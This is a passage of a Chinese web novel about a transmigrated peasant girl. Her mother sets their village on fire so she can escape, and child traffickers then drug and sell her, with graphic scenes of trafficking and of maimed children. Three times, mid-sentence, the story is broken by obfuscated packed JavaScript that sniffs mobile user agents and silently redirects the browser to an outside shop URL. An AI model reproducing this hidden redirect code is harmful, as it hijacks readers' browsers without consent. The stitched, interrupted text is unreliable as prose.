姐姐被送走的那一天,小畜牲还得意道:“像你们这样没用的赔钱货,养在家里也是浪费粮食。好歹卖给瘸子,换点钱粮,将来我才好娶媳妇传宗接代光宗耀祖。” 当时,自己就恨不得给那小畜牲脑袋上开个瓢。 半年不到,姜晗就见到了姐姐的尸体。那具尸体的惨状,时不时会让她自梦中惊醒。 母亲接着比划,“得想办法,跑。” “跑?” 母亲重重点头。 “对,除了跑,也没有其他办法了。” 姜晗一直忍受苦楚,每时每刻都在想着逃。可是成年人的理智告诉她,逃跑需要从长计议。外面的世界更危险,作为没有路引的黑户,盗匪、野兽还有其他未知的风险,任何一个都能要了她的小命。离开必须有足够的把握。 只是人呐,总有些时候,得毫无顾忌地拼一次。 “娘,要跑,我们就一起跑。说不定,我们都能回家。” 姜晗颤抖地说着回家两个字,毫无意外看到母亲眼中的震动。 临时起意,是不会有详细的计划的。 母亲和她约定了时间,说要做些准备,夜半时分,在村口的大柳树下碰头。 幸运的是,姜晗离开的时候,并没有惊动村子里的人。 糟糕的是,在柳树下等来母亲的时候,村子里的人发现了,纷纷跑了出来,举着火把,大喊着要抓她们。 “娘,我们快逃!”姜晗拉着母亲就要逃,却被抓住手腕。 掌心里被塞了一个冰冰凉凉的东西,她未看清是什么,就被一下子推下了柳树后的小山坡。 树枝野草将她缠住,姜晗眼睁睁看着母亲往村子里跑。 救她!去救她! 然而姜晗躲着,动也不敢动。 她痛恨自己的怯懦。 但还是躲着,动也不敢动。 等了一会儿,并没有人来抓姜晗,忽见天上亮起了大片红光,伴随着恐怖的惨叫。 姜晗扒拉开遮挡自己的树枝,爬到了小山坡上。 整个村庄,燃起了大火。 母亲! 姜晗疯了似地往村庄跑,快到村口时,却停住了脚步。 乱舞的火舌,挣扎的人影,飞散的火星,呛人的烟气,她找不到母亲在哪里。 脚抬起,落下,又抬起,又落下,原地不动。 姜晗听着惨叫,望着大火,过了一会儿,低下头,摊开了手掌。 掌心躺着一枚碧玉平安扣。 这种环境里,母亲是怎么才能保住它的? 原来,她从没想着逃跑。 牵连整个村庄的大火,短时间就烧得这么旺,一定早有安排。 原来,这就是母亲的准备。 自己的生路,是母亲用生命、屈辱和隐忍换来的。 “姜晗,你真的……胆小……愚蠢。” 平安扣在火光中,刺眼得映照出姜晗再也无法摆脱的罪孽。 这罪孽,名贪生,名怕死,名旁观,名虚伪。 手心里的平安扣被死死握住,细细的鲜红血线从掌心流出,与鲜艳的火光交相辉映着。 熊熊的烈火在村庄燃烧,在姜晗的眼底燃烧…… 5. 重生 魏国洛京的郁久闾府,国舅爷郁久闾纥真所在的东院传来了一声尖叫。 “夫君,快放手啊,来人,快来人呐!” 四周灯火亮起,值夜的嬷嬷和丫鬟急匆匆跑进内屋,就见夫人正吃力地在男主人脖子上扒拉什么。 凑近一看,大家都吓了一跳,竟是男主人把床幔绕在了脖子上,手还在不停拉紧。 “快快快,把他手掰开。” 郁久闾纥真手劲极大,几人合力难动分毫。 这时管家进屋,见状,立刻道:“用剪子,把床幔剪开。” 嬷嬷忙拿出剪刀。 “当心点,别伤了郎君。” 剪子将床幔一分为二。郁久闾纥真没了支撑的手落在了枕头上,为防止他又做什么,夫人忙按住他的手,命人快些将还缠在他脖子上的床幔解开。 呼吸渐渐恢复正常,郁久闾纥真缓缓睁开眼。 “夫君,你吓死我了。” “我没事。”他慢慢坐起身,对下人道,“你们都下去吧。” 夫人给丈夫倒了一杯水,“夫君,你怎么了?是不是做噩梦了?” “噩梦?”郁久闾纥真喃喃着,嘴角勾起一抹诡异的笑,看得夫人心里发毛。 “不是噩梦。”他沙哑道,“是好梦,是美梦,她死了。” “谁死了?” “露朝云死了。哈哈哈!她死了!”那男人突然冲上去抓住自己夫人的手臂,红着眼道,“这个贱人终于死了。我知道,我能感觉到,哈哈哈,她死了!我梦见她在火中挣扎,哈哈哈哈,贱人,你活该!你自作自受!哈哈哈哈!” 夫人听得云里雾里,见丈夫如此模样,什么也不敢问了,只躲在一旁看着他癫狂。 “我还梦见,她整个人变成了一个大火球,然后惨叫着跳进了河里。可是已经来不及了,她变成了一具沉进水里的焦尸。”郁久闾纥真狂笑,笑着笑着,眼里渐渐溢出了恐惧。 “可是,河里突然伸出一双手,浮起一张年轻女人的脸。我认出来了,是云萦心。她把我拉了下去,用仇恨的眼睛看着我,死命掐住我。她要我死,她要我死……” 夫人慢慢伸出手,刚触碰到丈夫,丈夫惊地跳起,“你干什么?” 硬挤出一个温和的笑,夫人轻声道:“夫君,只是梦而已,你好好的,没人掐你。” “梦……梦?对,是梦,一个梦罢了。露朝云没进云家,哪里来的云萦心。” 他后头的话说得很轻,夫人并未听清楚,只以为他还未摆脱噩梦。她把被子裹在丈夫身上,细语道:“瞧你,自己吓自己。若是豆娘知道她爹爹被噩梦吓到,也会笑话的。” 郁久闾纥真问:“豆娘最近可有家书?辽王对她好吗?” “豆娘那么好,辽王对她当然好了。” “真的吗?” 夫人沉默了一会儿,正要开口,郁久闾纥真就道:“我过两日进宫一趟,请皇后娘娘做主。” “这……不太好吧。皇后娘娘若施压,只怕辽王面上应承,心中不喜。万一他……” “不是施压,只是劝告罢了。豆娘总是被冷落,也不是办法。” 夫人不由埋怨,“当年,就不该把豆娘嫁给辽王的。她和太子殿下青梅竹马,将来做太子妃不好吗?” “你懂什么!”郁久闾纥真烦躁开口,“别啰嗦了,休息吧。” 院子重新恢复了宁静。躺在床上的男人却怎么也睡不着。 太子妃?太子妃哪有皇后实在? 不让豆娘嫁辽王,让她去东宫,那自己真是白重生了。 郁久闾纥真又想起了刚做的梦。 露朝云真的被烧死了吗? 得安排人查探一下。若真死了,虽说便宜了这个贱人,但也没后顾之忧了。 重来一次,一切都不一样了。 * 大火烧了一天方熄。 蜜水村地处偏僻,离得最近的一个村庄也在三十里地外。山梁山谷横亘,火光映天也不一定能被看见。便是看见了要来救火,山路崎岖,就靠两条腿,到了也只能见到废墟死尸。 然而再怎么偏僻,早晚还是会被人发现。姜晗要在县衙和其他村子的人到来前,尽快找到母亲的遗体。 活着的时候无法离开。死后,就要得到自由。 或许有人会问,既然蜜水村已经烧光了,欺负她的人已经死了,为什么非得自讨苦吃而不是求助官府或其他村子的人。 原因很简单,不信任。 别怪姜晗一竿子打翻一船人,就蜜水村这德性,约莫这一大块区域的村子都不咋地。到时候求助不成,才出虎口,又入狼窝。 至于上滁县的官府,你当他们是种花家的帽子叔叔啊? 姜晗曾亲眼见到过,一个被拐到蜜水村的姑娘,不跑不闹,各种讨好自己的“丈夫”。村中的人都不防备她,她的“丈夫”还给了她相对的自由。 蜜水村平日也有往来的货郎小贩。那姑娘能说会道又机灵,帮着自己的“丈夫”和商贩交流,赚了些小钱,得到了“丈夫”的信任。 如此过了两年,她见时机成熟,便在一个商贩的帮助下,逃跑了。 故事如果到此结束,或许能有个好结局。 可惜没有如果。 半个月后,姑娘被县里的衙役送了回来。 当天夜里,村长召集了全村的男女老少,慷慨激昂地讲话,宛如正义的使者,给那姑娘宣判: 逃村者,当处火刑。 受刑者惨叫,观刑者大笑。 姜晗则被母亲搂在怀里,感受着母亲难以抑制的颤抖。 从那以后,村里的男人严禁女人女孩儿和任何一个外来人接触,不管对方是男是女。 后来听村里人聊天,姜晗才知道,那姑娘是去县衙办路引才坏了事。 这不能怪她。因为这个时代,除非你是流民,不然去哪儿都要路引。没路引,走不了城镇大路,活着就只靠命中的运气。虽说乱世不是不可以浑水摸鱼,可一般人,尤其是手无缚鸡之力的姑娘,基本没有上梁山的意愿,只想尽可能地提升安全保障。 路引的办理有一套程序,需要村长向县里申请。 显然,这套正常程序是走不通的。 那姑娘去县衙就是要说明原由,请求县官酌情处理。她想得很好,但是现实给了她一耳光。连县官的面都没见到,她就被一个常去蜜水村收税的衙役认出来了。 然后姑娘就被送回了蜜水村。 村里的人都骂她蠢,骂她有好日子不过。 姜晗听着,觉得他们都疯了。 那姑娘忍受了那么久,计划了那么久,离成功只差一步。 一步,便再无生路。 前人之鉴,姜晗不敢赌。 走进村子,焦臭味在空气中飘荡,到处都是可怕的尸体。 烧死的、被烟呛死的、被篱笆尖戳死的、被踩死的…… 若是在前世,这恐怖的场景定会让人做噩梦。 此时此刻,姜晗却目光平静,走过一具具尸身,扒开一具具尸骸,在一个大水缸前,找到了母亲。 她死死抱住另一具尸体的双腿,而被抱住双腿的尸体的双手扒住水缸的边沿。 村中的尸体几乎都面目全非,但是姜晗第一眼就认出了母亲。 或许是因为血脉连心,或许是因为她看出来了,这具遗体生前的决绝。 她猜测,那被母亲抱住的尸体,很可能是冯大。他想躲进水缸求生,但母亲没有给他机会。 其实母亲不拖住他,他也活不了,因为水缸里的水早就结了厚厚的冰。 姜晗想要分开两具尸体,但是尸体僵硬如石膏,根本分不开。 无奈,她找来锯子锯,费了九牛二虎之力,总算成功。 过程中,姜晗万般小心,没有损坏母亲的遗体。 走遍村庄,幸运地找到了一辆没有被大火烧毁的板车。破烂不堪,勉强能用。 将母亲的遗体搬上板车,又到村子里的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478609|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口枯井旁挖出一具骨骸。 这具骨骸是姜晗这辈子的亲姐姐。 姐姐死后被村子里的人扔到了水沟里。 女孩儿不被允许葬祖坟。 母亲和自己只能趁夜匆匆挖了个坑,将姐姐埋在枯井旁。 她们连碑都不敢立,就怕村里的人发现后毁了。 做完这一切,姜晗拿了自己用顺手的冰镩子,又跑到村里的一处猪圈去。 姜晗当然不是去找土猪肉的,去猪圈完全是因为角落砖石旁的土里,埋着自己的存款。 九枚铜板。 种花家人,基因自带存钱天赋。 然而作为一个穿越女,七年就攒了九枚铜板,也是绝无仅有了。 破破烂烂的鬼地方,半文钱都看得跟万贯家财似的。 九文钱,不仅冒着生命危险,还抵御着精神折磨。 因为猪圈和粪坑是建一块儿的。 存钱存到粪坑旁,世上还有比她更视金钱如粪土的人吗? 就这儿,姜晗还天天提心吊胆怕被人发现了。偏偏又不敢经常去检查,就怕有人察觉。 忍着臭味挖开土和砖块,很好,钱还在。 姜晗将九文钱分别藏进衣服里面一左一右两个口袋里,可惜没找到针线,不然把口袋缝上更保险一些。 其实她知道,村子其他地方翻找一下,肯定还能找到些银钱。然而,她拿得动,藏不了。身上的衣服都是补丁和破洞,内里两个口袋还是从前自己为了以防万一缝的。 而且比起钱,姜晗更希望找到些吃的。 她运气不错,找到了两块边缘焦黑的烙饼,一点生米和一小块腊肉。 这都是好东西。穿越后,她哪吃过腊肉啊? 在村长家找到一块没被完全烧毁的床单,姜晗撕下一块布片,包起食物,打了个结,藏进怀里。 一切准备完毕,姜晗拉着板车,吃力地向村外走去。 突然,她的右脚被抓住。 “啊!”姜晗吓了一跳,低头看去,是一个烧伤严重的孩子。 从他没完全烧坏的脸部皮肉上,她认出来了,这是今生的亲弟弟。他和她一样,都是母亲辛辛苦苦怀胎十月生下的孩子。他也和冯大一样,对母亲呼来喝去。姜晗被他用石子打过,被他用脚踩过,母亲也被他用石子打过,也被他用脚踩过。看着姜晗挨打,他哈哈大笑,看着母亲挨打,他直呼好玩。 “救……救我……姐……姐姐。” 姜晗冷冷看着他。 男孩儿的双目中尽是乞求。 姜晗冷冷地抽出脚,拉着板车,一步一步,离开了这个折磨了自己七年的地方…… 走出村外五十里左右,看到一座山,叫什么山,她不知道。 姜晗在山脚挖了两个简陋的土坑,将母亲和姐姐的遗体置入其中。 破烂的板车上,有块木板摇摇欲坠,姜晗掰下它,分成两半,找了一块有尖锐棱角的石头,在上头分别写道:“先妣露朝云之墓,女姜晗立。先姊露萦碧墓,妹姜晗立。” 知道母亲的名字,是因为姜晗曾经看到她用树枝在泥地上写这三个字。 这个世界的文字就是前世的繁体字,基因自带繁简转换的姜晗还是能认出不少的。这算是一个好消息,至少自己不是纯粹的文盲。 “娘,这是你的名字吗?” 当时回应姜晗的,是母亲无声的泪水。 萦碧,是母亲给起姐姐的名字。母亲也给姜晗起了个名字,叫萦心。然而在姜晗心中,她认同的,始终是姜晗。 “抱歉,娘,我还是用了自己的姓名给您和姐姐立碑。可是,不管我姓甚名谁,我依然是您的小萦心。我是个无能之人,无法带娘走得太远。但姜晗保证,总有一天,我会带着你还有姐姐,真正远离这里。” 姜晗对母亲的坟磕了三个头,握紧了平安扣,“我会找到你的家人,还有当年害你的人。” 字字铿锵,目光灼灼。 然而自己能去哪儿呢? 6. 肉馒头 青石镇,南晟兴州北鞍郡的一个寻常小镇。 二十多年前,这个镇子颇为繁华。如今天灾频仍,十六年前又有天礼道之乱,加上兴州是边陲,多与北方魏国发生摩擦,几经战火,青石镇便越发萧条了。 离开蜜水村的两个月,姜晗过得并不容易,现实体会了一把野外生存。 她没出过村子,不知道怎么走,不知道去哪里,只能循着河流流淌的方向,走一步看一步。 吃完手里的存粮后,下一顿在哪是首要问题。 大冷天的,能找到的食物十分有限。 耐寒的野菜野果、草根树皮,虽能充饥,但谁知有没有毒。 姜晗前世五谷不分,这辈子倒是正儿八经的农女,王宝钏的挖野菜经历,她从四岁开始就有了丰富的实践经验。一路上虽然饥寒交迫,好在没饿死,也没中毒。 真正的危险,是在碰到因饥荒逃难的难民后。 极恶的环境下,人能迸发人性的光辉,也能催生无尽的恶意。 饿到极点,人是什么都能吃的。 小孩儿,也是口粮。 如果葬身人腹的话,那自己一定是所有穿越者中最大的笑话。 姜晗能倚仗的,只有手里的冰镩子。 她身上有不少新的伤痕,大多都是为了逃离难民“魔口”作斗争留下的。虱子在头顶的“杂草堆”里欢腾着,因这些日子的天气开始慢慢回暖,身上有的伤口甚至长出了蛆。 恶心是真恶心,但姜晗知道,这算不得一件坏事。 没遇到野兽,没被难民吃掉,活着走到青石镇,倚仗身高优势,趁守门卫士检查别人路引不注意时溜进镇子,绝对是她异世七年最欧气的经历。 可是下一步呢? 她如何谋生?如何填饱肚子? 饥饿的姜晗双脚打飘,茫然地在街上走着…… “恶心死了,哪里来的叫花子,快滚!” “娘,她好臭啊。” “离远点儿!” 姜晗被一把推倒在地。 她没有觉得委屈愤怒,更没有心思在意周围人嫌弃的目光,她所有的注意力,都被角落的馒头铺吸引。 闻着馒头的香味,想着怎么填饱肚子,这对肚子对心灵都是一种折磨。 “好饿,好久没吃过馒头了。” 姜晗不由自主地靠近馒头铺,看着热气腾腾的馒头,不停咽口水。 “这馒头,怎么卖?” 馒头铺老板是个老头子,长着一张满是皱纹的黢黑的脸。他一看姜晗,有些怜悯地叹了口气,说:“菜馒头一个两文,肉馒头一个三文。” 好贵! 自己总共就九文钱,为一个馒头,不值得,嗯,不值得。 转身走了两步,又回头,“有淡馒头吗?” 那人愣了愣,“淡馒头?” “就是没馅的馒头。” “你说的是白馒头吧,一文钱两个,但是已经卖完了。” 姜晗遗憾,低头道:“那算了。” 离开之际,听到身后人说道:“前两天剩下的肉馒头,肉不是很新鲜,卖不出去。你实在饿的话,一文钱给你。”老头子打开另一个笼屉,拿出一个白白胖胖的馒头。 一文钱,和之前的三文钱比起来,是便宜了。 可别看之前姜晗有为了淡馒头一掷一文的“豪气”,真让她掏钱,开始犹豫不决了。 九分之一的存款呐! 穷日子过多了,花钱自然抠嗦。 香气袅袅,肚子咕咕。 姜晗强迫自己忽视这一切,咽着口水往边上走,看到隔壁空荡荡的卜卦摊子上悬挂的黄历,上面写着庚寅年二月初三。 又是一年的二月初三了? 所以,她不是七岁,已经八岁了? 姜晗握紧了冰镩子。 苦了这么久,为什么还要委屈自己? 今天是二月初三,是她这辈子的生日。八岁生日,难道还不能吃一口肉馒头吗? 姜晗咬咬牙,从内口袋拿出一文钱,抖抖霍霍地递给老头儿,拿起了馒头。 对着香喷喷的馒头咬了一小口,继而好无吃相地大吃起来。 肉馒头的肉很干巴,有很重的香辛料味,应该是用来遮掩不好的肉质的。搁上辈子,不小心吃了这样的东西肯定轻则闹肚子,重则去医院。可对现在的姜晗而言,这却是难得的美味。 狼吞虎咽的,差点噎住。 “慢点儿吃。”老头摇摇头,“看你这样子,也是逃难的吧?唉,最近镇上多了好多难民,也是可怜。罢了,我做回善人,再送你一个吧。” “不用。”姜晗嘴里塞得满满的,含糊道,“谢……” 话未说完,突然倒在了地上。 “不用谢。”老头笑得慈祥,把女孩儿扛在肩上,向边上的小巷子走去。 原地,只有半个肉馒头,和一根冷冷的冰镩子…… 巷子深处,一个矮瘦的男人往地上敲了敲烟杆儿,笑问:“老乌头,今天才开张就开门红啦,运气不错。” 老乌头嘿嘿一笑:“这么多难民,可不都是货源嘛。今儿这个,可是个顶级货,你瞧瞧。” 矮瘦男人上前,把同伴肩上的姜晗扔在地上,走到她身边,撩起她额前乱糟糟的碎发,看着她的脸,吹了个口哨,“哟,真是顶级货。瞧着瘦瘦小小浑身是伤的,其实标致得很,稍稍捯饬就会跟画似的,定能卖到一等的吟书班呐。” “这次没准能和占春芳做上一笔生意哩。” “老乌头,搜过没有?” “一个逃难丫头,能有什么宝?你瞧瞧她身上的衣服,怎么也不是个有钱的主,有几个铜子儿就不错了。” “说不定呢!”矮瘦男人蹲下身,在姜晗身上摸来摸去,“嘿,八个铜子儿。我再找找,若有仨瓜俩枣,也是咱俩的运……” 见他突然不说话了,老乌头问:“怎么了?” “咱俩可真走运呐!哈哈哈!”矮瘦男人笑疯了,摊开手对老乌头道,“你瞧,这是什么?” 见到平安扣,老乌头眼都瞪直了,“这玩意儿,玉的吧。” “去当铺走上一回,值老鼻子钱了。” 姜晗昏昏沉沉,艰难地睁开眼,模模糊糊地看见两个人,她看不清他们的模样,却瞧见了一人手中鲜明的绿色。 那是…… “还……还给我。”姜晗想伸手,但是没有力气,她的声音几不可闻,却还是引起了那两人的注意。 矮瘦男人有些讶异,“醒了?老乌头,你的药不灵啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478610|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “呸,我的药什么时候出过问题。明明是因为你把她摔地上摔得太重,她才提前醒的。我说你也太不小心了,若是摔坏了,卖不了好价钱怎么办?” 矮瘦男人吐了一口浓痰,“总有能卖出去的地方。实在不行,咱俩留着自己用也成。” “瞧你这出息。”老乌头一脸鄙视,“这么小的能有什么趣儿?” 说着指了指平安扣,“有了这好宝贝,够咱俩逛窑子的了。” “还给我……还给我……” “闭嘴!”老乌头一个耳光抽上去,本就不是很清醒的姜晗又晕了过去。 “还说我,你别把她打坏了。” “我有分寸。” * 狭窄昏暗的小屋内,绑着十几个孩子。 姜晗是最先醒来的,看着眼前的一切,哪还有不明白的。 得想办法逃出去。 瞅到自己右前方有一块破碎的陶片,双手双脚都被绑缚的姜晗小心翼翼地挪动着屁股。 挪了没几步,强烈而刺眼的光涌了进来。 来人了。 姜晗连忙闭上眼靠在一旁。 就听咚的一声,似乎是什么东西掉地上的声音。 “十五个了,人数够了,咱也该交货了。” “嗯,不过得先做一件事情,免得路上发生意外。”老乌头冷冷道:“每个人再喂上一碗蒙汗药。” “有必要吗?别把他们药坏了,变傻了可卖不出几个钱。” “你放心,我能把握好。”老乌头阴恻恻道,“药当然得下。要知道,有的小孩子可是很坏的。” * 姜晗等一众孩童被他们带到了宜章县,这是北鞍郡治所所在。 到了宜章,老乌头就没给孩子喂药了。 然而即便没再喝药,即便脑子清醒正常,对于逃跑,姜晗也是有心无力。 手脚无力,浑身酸软,实在提不起劲儿。 不知过了多久,牛车来到一处脏兮兮的院落。 汪汪汪的狗叫声传入姜晗的耳朵,惹得她心烦。 矮瘦男人冲进车里,对着右边角落的几个孩子吼道:“出来!”随即一拽绳子,被绳子串一起的孩子们跌跌撞撞地下了车。 “五老太,答应你的东西送来了。” “等你们老半天了。”车外,传来了沙哑的女声。 这时,一阵风吹起了车帘,姜晗看见一个体态臃肿的老妇人走了过来,而她身后发生的一切,令姜晗恐惧。 七八个孩子,小的四五岁,大的也就十三四岁,有的断手断脚,有的被挖了眼睛,有的毁了容貌,在地上爬行着。 最可怕的一幕,是板凳上躺着个浑身血淋淋的人,他边上坐着的独眼男子,正拿着一张完整的狗皮慢慢向他靠近。似是察觉到有人看自己,独眼男子停下了手,抬起头,对着姜晗咧嘴笑笑。 姜晗的身体不受控制地打起了摆子。 “我那儿还缺几个,你这车里的,干脆都给我算了。”五老太乐呵呵地说,瞄到姜晗因车帘被吹起而露出的脸,眼睛一亮,“我最近想出了个新玩意儿,叫瓶女,就缺顶级的货色。” 车帘落下,五老太兴冲冲道:“我看靠车窗的那丫头就顶好。这模样,做好了能当招牌。” 7. 奇货 瓶女?见识到炼狱景象,姜晗完全可以想象这两个字代表的恐怖。 突然一声惨叫入耳,蒸腾着焦臭和血腥的烟白热气飘进了车里。像是有意识一样,热气扭着弯曲的身体,直直钻进姜晗的鼻子,顺着甬道蠕动进肠胃,在里头打滚、膨胀、挤压,翻江倒海,又顺着甬道,带着搅拌得浑浊的污浪,直挺挺往上、往牙关外冲去。 姜晗的口腔一鼓一鼓,鼻翼和眼皮颤抖着,咬碎银牙,硬生生压住欲呕的恶心感。 “美得你!”矮瘦男人想也不想地说,“她可是压轴货,还指着她进吟书班呢。占春芳的陈妈妈今年要进货了。她这模样,三十贯钱是少不了的。除非你出价更高,否则想也别想。” “三十贯?这吟书班就是有钱。”五老太心里有些酸味。 她心想:“瓶女这玩意儿还没开始做,也不知能不能成。成了赚了,这三十贯就是毛毛雨。若是失败了,这三十贯可就打水漂了。可是,这丫头模样实在好,错过了这村,就没这店了。不如先把她买下来,然后买些便宜货练手艺,成了再做这丫头。” 纠结了半天,五老太咬了咬牙,“三十五贯。” “行。” 矮瘦男人把往角落里不停缩的姜晗拽了下来,对五老太伸手,“一手交钱,一手交货。” 五老太伸手要拉姜晗,“我的钱都拿去放贷了,手上现钱还有十五贯,两天后,我就把剩下的二十贯给你。” 矮瘦男人一把拍开五老太的手,把姜晗推回车里,“没现钱,你在这儿扯什么淡?” “我不是说了嘛!钱拿去放贷了。两天后,连本来利,别说二十贯,一百贯,我都出得起。” 矮瘦男人呸了一口,“我管你一百贯一千贯呢,我只要现钱,拿来!” “又不是不给你,咱们买卖做了这么多年,我什么时候欠过你的钱?你也忒不讲情面了。” “讲情面伤钱,我只认现钱。” 五老太实在没法了。 矮瘦男人倒也没把话说死,“如果占春芳不要她,卖给你也无妨。” 他想:“占春芳今年出手非常大方,如果不要这丫头,卖到其他青楼,还不一定比卖给五老太更赚呢。” 矮瘦男人想得好,五老太也有心思。 “占春芳如果真不要这丫头,到时候可不能傻乎乎给三十五贯,怎么也得压压价。” 面上,五老太冷笑一声,“给我剩饭?行,我不挑。” 车子嘎吱嘎吱走远,独眼男人的笑容,五老太的模样,不停在姜晗脑中闪过,让她在惶恐中深陷…… 一路浑浑噩噩,直到后脑勺传来一阵痛处,姜晗才回过神。却见不知什么时候,面前出现了一个上了年纪却颇为美艳且极具风情的女人。 见她茫然的模样,老乌头又狠狠敲了一下她的后脑勺,“问你话,回答。” 问话? 姜晗抬眼看向面前的女子,那女子眼露惋惜,“漂亮是真漂亮,但我不要傻子。” 独眼男人可怖的笑容和五老太的模样再次出现。 这个女人不要自己,是不是就意味着,自己会被卖去那个炼狱?会被做成瓶女? 那简直生不如死。 “我不是傻子。”姜晗特意扬起一抹羞涩又羡慕的笑,露出浅浅的梨涡,“第一次见到像您这么美的夫人,我看呆了。” 清越甜润的音色,带着童声独有的软糯,让陈妈妈觉得自己像是躺在绵云上听泉鸣。 她不由眼睛一亮,“看来真的不傻,几岁了?” “八岁。”姜晗乖乖回答。 轻轻抚上女孩儿的脸,陈妈妈道:“长得漂亮,声音也好,流落到其他地方的话,太浪费了。” 干她们这一行的,最重要也最基本的一项技能就是识别美人。 美人,只要长了眼,只要审美正常,谁看不出? 但青楼老鸨就是得看出普通人看不出的。要从没长开的一张脸上,看出姑娘的潜质。有的姑娘小时看着漂亮,长大了反而模样平平,有的小时候不起眼,却是女大十八变,越变越水灵。 为了不看走眼,青楼多年来总结了一套鉴别美人的方法。水平高的老鸨,甚至能预测姑娘未来的大致长相。 陈妈妈的鉴别水平,是行内首屈一指的。 别人见了姜晗,只会凭第一眼夸句漂亮。但陈妈妈要仔细观察她的脸型、五官、骨骼、皮肉等等,根据这些判断这孩子的长相风格,以及将来有没有长歪的可能。 从第一印象上来说,姜晗的确有着难得一见的好模样。 虽然瞧着瘦弱,皮肤也不算娇嫩,但这是因为贫穷、劳作和离乱,稍加调养便能焕然一新。 头发枯黄,但是发量不少,只要剃了头好好养就可以。身上有伤,好在是不会留疤的皮肉伤,也没有胎记。她底子很好,给人的第一感觉就是干净。 这不是说她身上干净。实际上,老乌头他们虽然擦了姜晗的脸,但是一些边边角角比如耳后、脖子和发际线处,还残余了不少污渍。 干净是一种感觉,一种山明水净的沁人澄澈。 小姑娘看上去长着一张清丽的鹅蛋脸,面部线条非常流畅。可仅仅看上去好看是不够的,孩童的皮肉会包裹住许多骨上的瑕疵。有的孩子长大后脸型变了,其实未必是变了,而是幼年时期皮肉呈现的状态让人产生了一种错觉。 陈妈妈选女孩儿,最重视骨头。骨头天生长得好,只要平日注意饮食和习惯,长残的概率是很小的。 希望眼前这个漂亮姑娘不是样子货。 陈妈妈拿出软尺,在姜晗脸上比划着。 额骨宽和颧骨宽几乎等长,下颌骨宽比二者略短。后脑勺圆润,额头和太阳穴非常饱满,颧插天仓不外扩。颔面丰盈,线条平整,下颌边缘轮廓清晰。眉骨轻隆,眼眶方正,山根挺拔。每一处骨与骨、骨与肉的衔接都恰到好处,起伏有山川似的缓和而无峻岭般的陡峭。 稳定周正的骨头结构,配合她适中的面部留白和三庭五眼的比例,让整张脸免于精明和憨钝,反倒一派端妍。 陈妈妈越看越满意。这样的美人骨,打着灯笼,好几年也不一定能找到一个。自己运气真不错,眼前来了一个,前天也收了一个。 前天的那个女孩儿,艳光四射又一身贵气。眼前这小姑娘,倒是给人截然不同的感觉。 陈妈妈轻轻抬起姜晗的脸,认真观察她的皮相。 五官堪称造物的恩赐。耳高于眉,轮廓分明,垂珠浑圆,大小适中,正面看时自然露出。双唇似温软的妃色花瓣。鼻梁玉女峰般秀挺,有点肉感的鼻尖垂如水滴,给精致的鼻子带了一丝柔和。 眼睛尤其动人。 杏眸如含秋水,大而有神。开扇的重睑为其增添了深邃。睛似点漆,羽睫如鸦,将眸子衬得越发灵动。眼周似有似无地晕着极淡的桃花色,伴着略上挑的眼尾,勾勒出无辜的狡黠,天生一段婉约绮媚。 可惜,成也眼,美中不足的也是这双眼。她瞳孔的底缘微微偏离了下眼睑,不细看难以察觉,但隐约给人一种倔强又倦怠的疏离之感。 妙就妙在,似蹙非蹙的罥烟眉用一抹浅浅的哀愁冲淡了她的疏离,让她不至于陷入孤芳自赏的境地。而瞳孔带来的疏离又吹散了哀愁中的凄苦,达到了一种奇妙的平衡,呈现别样的神秘幽艳。 清湖捧月的幽,烟雨桃花的艳。 笑时梨涡生颊,眼底蚕影卧新月,好像在脉脉水雾里,长出了一枝带露菡萏,在迷离中发芽明快的生机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478611|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这样一张脸,不施粉黛,自有天然之美。铺天盖地的重色会让其落入下乘。若要浓妆艳抹,就得局部点染,疏可走马,方能呈现极致的张力。 是淡妆浓抹总相宜的长相,更有难忘的记忆点,完全契合陈妈妈心中顶级美人坯子的标准。 美人的标准从来不是艳丽、清纯、端秀、妖媚可以概括的。这些只能代表美人的风格,不能代表美貌的高低。 真正的绝色,必须符合三条要求。第一眼让人赞叹,第二眼让人驻足,第三眼让人想要探寻。通俗点就是,皮相惊艳、骨相耐看、神韵有故事感。 如此,之后的呵护、占有、征服、恋恋不舍便是理所当然。 三条要求,符合其中一条便能称得上美人,符合其中两条便是大美人,三条都符合,才有成为绝色美人的资格。 有资格不代表最终能配得上绝色二字。绝色之色,不仅仅是容色,身段、声音、发肤、体态、风情,都各有质色,任何一样稍逊,便与绝色无缘。 眼前的小姑娘,牢牢握住了容色这张必须的入场券。 初看我见犹怜,细瞧却是柔中带媚,秀里藏艳,温而含坚。 陈妈妈抬起姜晗的下巴,“张嘴。” 姜晗张开嘴。 陈妈妈又道:“张大些,我要看你的牙。” 吟书班选姑娘是一处细节都不会放过的。 